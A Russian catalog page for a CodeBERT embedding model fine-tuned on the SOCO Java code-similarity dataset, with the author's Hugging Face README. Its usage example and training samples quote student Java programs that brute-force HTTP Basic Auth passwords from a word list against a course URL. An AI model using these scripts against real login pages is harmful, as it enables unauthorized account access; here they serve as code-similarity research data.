/ Модель

Характеристики

Контекст
514 токенов
Параметры
152 млн
Архитектура
roberta · dense
Базовая модель
codebert-base
Библиотека
sentence-transformers
Опубликована
8 окт 2025

SOCO-Java-codebert-mnrl-triplets-ep1-bs16-lr2e-05-split0.0

ЭмбеддингиТекст → embedding5 профессий

Дообученная на Java-коде модель CodeBERT преобразует фрагменты кода в эмбеддинги для семантического поиска и сравнения.

169скачиваний за 30 дней0лайковвеса обновлены8 окт 2025

Бенчмарки

Как модель справилась с задачами пользователей ailist и что о ней публикуют открытые лидерборды

Тесты пользователейпока нет

Никто ещё не опубликовал тест этой модели. Соберите бенчмарк из своих задач — результат появится здесь.

  1. Добавьте модель в бенчмарк

    Вместе с другими моделями категории «Эмбеддинги» — сравнение идёт внутри одной категории.

  2. Опишите свои задачи

    Напишите запросы, при необходимости приложите файлы и эталонные ответы.

  3. Запустите и опубликуйте

    Модели ответят на каждую задачу, судья оценит ответы. Опубликованный результат появится на этой странице.

Публичные оценки

Из открытых лидербордов. Сравнивайте результаты одного теста при одинаковых условиях — отсутствие оценки не значит, что модель хуже.

В подключённых источниках результатов для этой модели пока нет.

Что умеет модель

Описание составлено по карточке модели и метаданным Hugging Face

buelfhood/SOCO-Java-codebert-mnrl-triplets-ep1-bs16-lr2e-05-split0.0 — Sentence Transformer, дообученный автором на базе microsoft/codebert-base на триплетах кода Java из набора SOCO_TRAIN_java. Модель кодирует фрагменты кода и текст в плотные векторы размерности 768; архитектура состоит из RoBERTa и усредняющего pooling по токенам. Для сравнения векторов предусмотрена косинусная близость.

Модель предназначена для поиска семантически похожего Java-кода, оценки сходства фрагментов и поиска дубликатов или парафразов кода. Полученные эмбеддинги также можно использовать для кластеризации и классификации кода. Максимальная длина последовательности — 514 токенов по метаданным модели.

В репозитории указана лицензия не была предоставлена, поэтому условия использования следует сверить с карточкой Hugging Face и лицензией базовой модели. Модель обучалась на триплетах Java-кода; её качество для других языков программирования и обычного текста не описано.

Сценарии применения

  • поиск Java-кода по смысловому запросу
  • поиск похожих фрагментов Java-кода
  • обнаружение дубликатов кода
  • кластеризация фрагментов кода
  • подготовка эмбеддингов для классификации Java-кода

Ограничения

Максимальная длина входа ограничена 514 токенами. Модель обучалась на Java-коде; качество для других языков программирования и обычного текста не подтверждено.

Для каких профессий подходит5

Разделы каталога профессий, в задачах которых используется эта модель

Все профессии

Также подходит для

Карточка модели

README от автора на Hugging Face, как он его опубликовал

Открыть на Hugging Face

SentenceTransformer based on microsoft/codebert-base

This is a sentence-transformers model finetuned from microsoft/codebert-base on the soco_train_java dataset. It maps sentences & paragraphs to a 768-dimensional dense vector space and can be used for semantic textual similarity, semantic search, paraphrase mining, text classification, clustering, and more.

Model Details

Model Description

  • Model Type: Sentence Transformer
  • Base model: microsoft/codebert-base
  • Maximum Sequence Length: 512 tokens
  • Output Dimensionality: 768 dimensions
  • Similarity Function: Cosine Similarity
  • Training Dataset:

Model Sources

Full Model Architecture

SentenceTransformer(
  (0): Transformer({'max_seq_length': 512, 'do_lower_case': False, 'architecture': 'RobertaModel'})
  (1): Pooling({'word_embedding_dimension': 768, 'pooling_mode_cls_token': False, 'pooling_mode_mean_tokens': True, 'pooling_mode_max_tokens': False, 'pooling_mode_mean_sqrt_len_tokens': False, 'pooling_mode_weightedmean_tokens': False, 'pooling_mode_lasttoken': False, 'include_prompt': True})
)

Usage

Direct Usage (Sentence Transformers)

First install the Sentence Transformers library:

pip install -U sentence-transformers

Then you can load this model and run inference.

from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-codebert-mnrl-triplets-ep1-bs16-lr2e-05-split0.0")
# Run inference
sentences = [
    'import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary {\n\n   URLConnection conn = null;\n   private static boolean status = false;\n\n   public static void main (String args[]){\n     Dictionary a = new Dictionary();\n     String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",\n     \t\t\t\t "",\n     \t\t\t\t ""};\n     File file = new File("words");\n     exit:\n     try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null) {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n     \t\t \tif (status) {\n\t\t\t \t\t System.out.println("Crrect password is: " + inp[2]);\n\t\t\t \t\t System.out.println("Number of attempts = " + attempt);\n\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n   \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println("File not found: " + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\t}\n\n   }\n\n   public void doit(String args[]) {\n     \n     try {\n       BufferedReader in = new BufferedReader(\n           new InputStreamReader\n              (connectURL(new URL(args[0]), args[1], args[2])));\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           status = true;\n           }\n       }\n     catch (IOException e) {\n   \n       }\n     }\n\n   public InputStream connectURL (URL url, String uname, String pword)\n        throws IOException  {\n     conn = url.openConnection();\n     conn.setRequestProperty ("Authorization",\n     userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n   public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n   private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n   private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n        case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n        case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n        case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts = 0;\n   URLConnection conn = null;\n\n   public static void main (String args[]){\n\n\tDictionary a = new Dictionary();\n     a.attack(args);\n     }\n\n   public void attack(String args[]) {\n   try {\n       String login = new String("");\n       String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n       String passwd = new String();\n\n\n       passwd = getPasswd();\n       BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           }\n           System.out.println("Password Cracked Successfully!!!");\n           System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");\n       }\n     catch (IOException e) {\n  \n      String r = new String(e.getMessage());\n    if ( r != null)\n    {\n     System.out.println("Message :" +r);\n     Dictionary a = new Dictionary();\n     a.attack(args);\n    }\n     else\n     {\n\tSystem.out.println("Trying again");\n\tDictionary a = new Dictionary();\n\ta.attack(args);\n     }\n     }\n   }\n  public String getPasswd()\n  {\n\n int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println("Passing dictionary word and waiting for URL reply....... ");\n  String currentword = "";\n  String se = "";\n  try{\n FileInputStream reader = new FileInputStream ("words");\n DataInputStream in = new DataInputStream(reader);\n while (in.available() !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n  catch( IOException e){}\n\n  return currentword;\n\t \n         }\n\n\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException  {\n     conn = url.openConnection();\n     conn.setDoInput (true);\n     conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n\n public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n         case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n         case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n         case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\nimport java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n    protected String wordFile;\n\n    public Dictionary()\n    {\n        super();\n    }\n\n    public static void main(String[] args)\n    {\n        Dictionary dictionary = new Dictionary();\n\n        if (args.length < 3)\n        {\n            System.out.println(dictionary.printUsage());\n        }\n        else\n        {\n            dictionary.setURL(args[0]);\n            dictionary.setUserName(args[1]);\n            dictionary.setWordFile(args[2]);\n\n            if (args.length > 3)\n            {\n                dictionary.setFileName(args[3]);\n            }\n            dictionary.process();\n            System.out.println(dictionary.printResult());\n            System.exit(1);\n        }\n    }\n\n    public void process()\n    {\n        attempts = 0;\n        String password = "";\n        \n        setStart(new Timestamp(System.currentTimeMillis()));\n\n        BufferedReader input = null;\n        try\n        {\n            FileReader file = new FileReader(getWordFile());\n            \n            input = new BufferedReader(file);\n            \n        }\n        catch (FileNotFoundException x)\n        {\n            System.err.println("File not found: " + getWordFile());\n            System.exit(2);\n        }\n\n        try\n        {\n            while ((password = input.readLine()) != null)\n            {\n                try\n                {\n                    \n                    attempts++;\n                    BasicAuthHttpRequest req =\n                        new BasicAuthHttpRequest(\n                            getURL(),\n                            getUserName(),\n                            password);\n                    setPassword(password);\n                    setEnd(new Timestamp(System.currentTimeMillis()));\n                    setContent(req.getContent().toString());\n\n                    \n                    if (getFileName() != null\n                        && getFileName().length() > 0)\n                    {\n                        createReport();\n                    }\n                    return;\n                }\n                catch (MalformedURLException e)\n                {\n                    e.printStackTrace();\n                    return;\n                }\n                catch (IOException e)\n                {\n\n                }\n            }\n        }\n        catch (IOException x)\n        {\n            x.printStackTrace();\n        }\n\n        \n        setEnd(new Timestamp(System.currentTimeMillis()));\n\n    }\n\n    public String printUsage()\n    {\n        StringBuffer s = new StringBuffer();\n\n        s.append("** BruteForce proper usage **\\n\\n");\n        s.append(\n            "java ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\\n\\n");\n\n        return s.toString();\n    }\n    \n    public String getWordFile()\n    {\n        return wordFile;\n    }\n\n    \n    public void setWordFile(String string)\n    {\n        wordFile = string;\n    }\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.8658, 0.2103],
#         [0.8658, 1.0000, 0.2072],
#         [0.2103, 0.2072, 1.0000]])

Training Details

Training Dataset

soco_train_java

  • Dataset: soco_train_java at 44ca4ff
  • Size: 42,960 training samples
  • Columns: anchor_code, positive_code, and negative_code
  • Approximate statistics based on the first 1000 samples:
    anchor_codepositive_codenegative_code
    typestringstringstring
    detailsmin: 512 tokensmean: 512.0 tokensmax: 512 tokensmin: 512 tokensmean: 512.0 tokensmax: 512 tokensmin: 61 tokensmean: 482.17 tokensmax: 512 tokens
  • Samples:
    anchor_codepositive_codenegative_code
    import java.net.;import java.io.;import java.*; public class Dictionary { URLConnection conn = null; private static boolean status = false; public static void main (String args[]){ Dictionary a = new Dictionary(); String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php", "", ""}; File file = new File("words"); exit: try { BufferedReader in = new BufferedReader(new FileReader(file)); int attempt = 0; inp[2] = in.readLine(); while (inp[2] != null) { if (inp[2].length() <= 3) { attempt++; a.doit(inp); if (status) { System.out.println("Crrect password is: " + inp[2]); System.out.println("Number of attempts = " + attempt); break exit; } } inp[2] = in.readLine(); } } catch (FileNotFoundException e1) { System.err.println("File not found: " + file); } catch (IOException e2) { e2.printStackTrace(); } } public void doit(String ar...import java.net.;import java.io.; public class Dictionary { int attempts = 0; URLConnection conn = null; public static void main (String args[]){ Dictionary a = new Dictionary(); a.attack(args); } public void attack(String args[]) { try { String login = new String(""); String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php"); String passwd = new String(); passwd = getPasswd(); BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd))); String line; while ((line = in.readLine()) != null) { System.out.println(line); } System.out.println("Password Cracked Successfully!!!"); System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries"); } catch (IOException e) { String r = new String(e.getMessage()); if ( r != null) { System.out.println... import java.io.;import java.net.;import java.util.*;import java.misc.BASE64Encoder;public class Dictionary { private String userId; private String password; ReadDictionary myWords = new ReadDictionary(); public Dictionary() { myWords.openFile(); Authenticator.setDefault (new MyAuthenticator()); } public String fetchURL (String urlString) { StringBuffer sb = new StringBuffer(); HttpURLConnection connection; Date startTime, endTime; int responseCode = -1; boolean retry = true; URL url; startTime = new Date(); System.out.println (" time :" + startTime); while (retry == true) { try { url = new URL (urlString); connection = (HttpURLConnection)url.openConnection(); setUserId(""); setPassword("rhk8611"); System.out.println("Attempting get a response : " +connection.getURL() ); responseCode = connection.getResponseCode(); System.out.print(responseCode + " "); if (responseCode == HttpURLCo...
    import java.net.;import java.io.;import java.*; public class Dictionary { URLConnection conn = null; private static boolean status = false; public static void main (String args[]){ Dictionary a = new Dictionary(); String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php", "", ""}; File file = new File("words"); exit: try { BufferedReader in = new BufferedReader(new FileReader(file)); int attempt = 0; inp[2] = in.readLine(); while (inp[2] != null) { if (inp[2].length() <= 3) { attempt++; a.doit(inp); if (status) { System.out.println("Crrect password is: " + inp[2]); System.out.println("Number of attempts = " + attempt); break exit; } } inp[2] = in.readLine(); } } catch (FileNotFoundException e1) { System.err.println("File not found: " + file); } catch (IOException e2) { e2.printStackTrace(); } } public void doit(String ar...import java.net.;import java.io.; public class Dictionary { int attempts = 0; URLConnection conn = null; public static void main (String args[]){ Dictionary a = new Dictionary(); a.attack(args); } public void attack(String args[]) { try { String login = new String(""); String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php"); String passwd = new String(); passwd = getPasswd(); BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd))); String line; while ((line = in.readLine()) != null) { System.out.println(line); } System.out.println("Password Cracked Successfully!!!"); System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries"); } catch (IOException e) { String r = new String(e.getMessage()); if ( r != null) { System.out.println...public class Base64 { final static String baseTable = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; public static String encode(byte[] bytes) { String tmp = ""; int i = 0; byte pos; for(i=0; i < (bytes.length - bytes.length%3); i+=3) { pos = (byte) ((bytes[i] >> 2) & 63); tmp = tmp + baseTable.charAt(pos); pos = (byte) (((bytes[i] & 3) << 4) + ((bytes[i+1] >> 4) & 15)); tmp = tmp + baseTable.charAt( pos ); pos = (byte) (((bytes[i+1] & 15) << 2) + ((bytes[i+2] >> 6) & 3)); tmp = tmp + baseTable.charAt(pos); pos = (byte) (((bytes[i+2]) & 63)); tmp = tmp + baseTable.charAt(pos); if(((i+2)%56) == 0) { tmp = tmp + "\r\n"; } } if(bytes.length % 3 != 0) { if(bytes.length % 3 == 2) { pos = (byte) ((bytes[i] >> 2) & 63); tmp = tmp + baseTable.charAt(pos); pos = (byte) (((bytes[i] & 3) << 4) + ((bytes[i+1] >> 4) & 15)); tmp = tmp + baseTable.charAt( pos ); ...
    import java.net.;import java.io.;import java.*; public class Dictionary { URLConnection conn = null; private static boolean status = false; public static void main (String args[]){ Dictionary a = new Dictionary(); String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php", "", ""}; File file = new File("words"); exit: try { BufferedReader in = new BufferedReader(new FileReader(file)); int attempt = 0; inp[2] = in.readLine(); while (inp[2] != null) { if (inp[2].length() <= 3) { attempt++; a.doit(inp); if (status) { System.out.println("Crrect password is: " + inp[2]); System.out.println("Number of attempts = " + attempt); break exit; } } inp[2] = in.readLine(); } } catch (FileNotFoundException e1) { System.err.println("File not found: " + file); } catch (IOException e2) { e2.printStackTrace(); } } public void doit(String ar...import java.net.;import java.io.; public class Dictionary { int attempts = 0; URLConnection conn = null; public static void main (String args[]){ Dictionary a = new Dictionary(); a.attack(args); } public void attack(String args[]) { try { String login = new String(""); String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php"); String passwd = new String(); passwd = getPasswd(); BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd))); String line; while ((line = in.readLine()) != null) { System.out.println(line); } System.out.println("Password Cracked Successfully!!!"); System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries"); } catch (IOException e) { String r = new String(e.getMessage()); if ( r != null) { System.out.println...import java.net.;import java.io.IOException;import java.util.;import java.io.*;public class Dictionary { static String userName; static URL url; static URLAuthenticator urlAuthenticator; static int noOfAttempts; public Dictionary() { } public static void main (String args[]) { Properties props = System.getProperties(); props.put("http.proxyHost", "bluetongue.cs.rmit.edu.:8080"); System.out.println(props.get("http.proxyHost")); BufferedReader inFile = null; try { if (args.length < 1) { System.out.println ("Usage : java Dictionary /usr/share/lib/dict/words"); System.exit(1); } inFile = new BufferedReader (new FileReader(args[0])); breakPassword(inFile); } catch (FileNotFoundException e) { System.err.println(e.getMessage()); System.exit(1); } catch (IOException e) { ...
  • Loss: MultipleNegativesRankingLoss with these parameters:
    {
        "scale": 20.0,
        "similarity_fct": "cos_sim",
        "gather_across_devices": false
    }
    

Training Hyperparameters

Non-Default Hyperparameters

  • per_device_train_batch_size: 16
  • learning_rate: 2e-05
  • num_train_epochs: 1
  • warmup_ratio: 0.1
  • fp16: True
  • batch_sampler: no_duplicates

All Hyperparameters

  • overwrite_output_dir: False
  • do_predict: False
  • eval_strategy: no
  • prediction_loss_only: True
  • per_device_train_batch_size: 16
  • per_device_eval_batch_size: 8
  • per_gpu_train_batch_size: None
  • per_gpu_eval_batch_size: None
  • gradient_accumulation_steps: 1
  • eval_accumulation_steps: None
  • torch_empty_cache_steps: None
  • learning_rate: 2e-05
  • weight_decay: 0.0
  • adam_beta1: 0.9
  • adam_beta2: 0.999
  • adam_epsilon: 1e-08
  • max_grad_norm: 1.0
  • num_train_epochs: 1
  • max_steps: -1
  • lr_scheduler_type: linear
  • lr_scheduler_kwargs: {}
  • warmup_ratio: 0.1
  • warmup_steps: 0
  • log_level: passive
  • log_level_replica: warning
  • log_on_each_node: True
  • logging_nan_inf_filter: True
  • save_safetensors: True
  • save_on_each_node: False
  • save_only_model: False
  • restore_callback_states_from_checkpoint: False
  • no_cuda: False
  • use_cpu: False
  • use_mps_device: False
  • seed: 42
  • data_seed: None
  • jit_mode_eval: False
  • bf16: False
  • fp16: True
  • fp16_opt_level: O1
  • half_precision_backend: auto
  • bf16_full_eval: False
  • fp16_full_eval: False
  • tf32: None
  • local_rank: 0
  • ddp_backend: None
  • tpu_num_cores: None
  • tpu_metrics_debug: False
  • debug: []
  • dataloader_drop_last: False
  • dataloader_num_workers: 0
  • dataloader_prefetch_factor: None
  • past_index: -1
  • disable_tqdm: False
  • remove_unused_columns: True
  • label_names: None
  • load_best_model_at_end: False
  • ignore_data_skip: False
  • fsdp: []
  • fsdp_min_num_params: 0
  • fsdp_config: {'min_num_params': 0, 'xla': False, 'xla_fsdp_v2': False, 'xla_fsdp_grad_ckpt': False}
  • fsdp_transformer_layer_cls_to_wrap: None
  • accelerator_config: {'split_batches': False, 'dispatch_batches': None, 'even_batches': True, 'use_seedable_sampler': True, 'non_blocking': False, 'gradient_accumulation_kwargs': None}
  • parallelism_config: None
  • deepspeed: None
  • label_smoothing_factor: 0.0
  • optim: adamw_torch_fused
  • optim_args: None
  • adafactor: False
  • group_by_length: False
  • length_column_name: length
  • project: huggingface
  • trackio_space_id: trackio
  • ddp_find_unused_parameters: None
  • ddp_bucket_cap_mb: None
  • ddp_broadcast_buffers: False
  • dataloader_pin_memory: True
  • dataloader_persistent_workers: False
  • skip_memory_metrics: True
  • use_legacy_prediction_loop: False
  • push_to_hub: False
  • resume_from_checkpoint: None
  • hub_model_id: None
  • hub_strategy: every_save
  • hub_private_repo: None
  • hub_always_push: False
  • hub_revision: None
  • gradient_checkpointing: False
  • gradient_checkpointing_kwargs: None
  • include_inputs_for_metrics: False
  • include_for_metrics: []
  • eval_do_concat_batches: True
  • fp16_backend: auto
  • push_to_hub_model_id: None
  • push_to_hub_organization: None
  • mp_parameters:
  • auto_find_batch_size: False
  • full_determinism: False
  • torchdynamo: None
  • ray_scope: last
  • ddp_timeout: 1800
  • torch_compile: False
  • torch_compile_backend: None
  • torch_compile_mode: None
  • include_tokens_per_second: False
  • include_num_input_tokens_seen: no
  • neftune_noise_alpha: None
  • optim_target_modules: None
  • batch_eval_metrics: False
  • eval_on_start: False
  • use_liger_kernel: False
  • liger_kernel_config: None
  • eval_use_gather_object: False
  • average_tokens_across_devices: True
  • prompts: None
  • batch_sampler: no_duplicates
  • multi_dataset_batch_sampler: proportional
  • router_mapping: {}
  • learning_rate_mapping: {}

Training Logs

EpochStepTraining Loss
0.03721002.5249
0.07452000.578
0.11173000.3995
0.14904000.3599
0.18625000.363
0.22356000.3394
0.26077000.3679
0.29808000.327
0.33529000.3487
0.372410000.3158
0.409711000.3458
0.446912000.3414
0.484213000.327
0.521414000.3095
0.558715000.3145
0.595916000.3175
0.633117000.2987
0.670418000.3194
0.707619000.3125
0.744920000.3148
0.782121000.2946
0.819422000.3103
0.856623000.2816
0.893924000.2766
0.931125000.2831
0.968326000.2917

Framework Versions

  • Python: 3.12.3
  • Sentence Transformers: 5.1.1
  • Transformers: 4.57.0
  • PyTorch: 2.8.0+cu128
  • Accelerate: 1.10.1
  • Datasets: 4.1.1
  • Tokenizers: 0.22.1

Citation

BibTeX

Sentence Transformers

@inproceedings{reimers-2019-sentence-bert,
    title = "Sentence-BERT: Sentence Embeddings using Siamese BERT-Networks",
    author = "Reimers, Nils and Gurevych, Iryna",
    booktitle = "Proceedings of the 2019 Conference on Empirical Methods in Natural Language Processing",
    month = "11",
    year = "2019",
    publisher = "Association for Computational Linguistics",
    url = "https://arxiv.org/abs/1908.10084",
}

MultipleNegativesRankingLoss

@misc{henderson2017efficient,
    title={Efficient Natural Language Response Suggestion for Smart Reply},
    author={Matthew Henderson and Rami Al-Rfou and Brian Strope and Yun-hsuan Sung and Laszlo Lukacs and Ruiqi Guo and Sanjiv Kumar and Balint Miklos and Ray Kurzweil},
    year={2017},
    eprint={1705.00652},
    archivePrefix={arXiv},
    primaryClass={cs.CL}
}

Как запустить

На своей GPU в ailist. Цена — по текущим предложениям провайдеров

GPU в ailist

Универсальный рантайм · sentence-transformers

Можно запустить

Подбираем GPU…

Класс архитектуры
RobertaModel
Ревизия весов
74006f8

0 моделей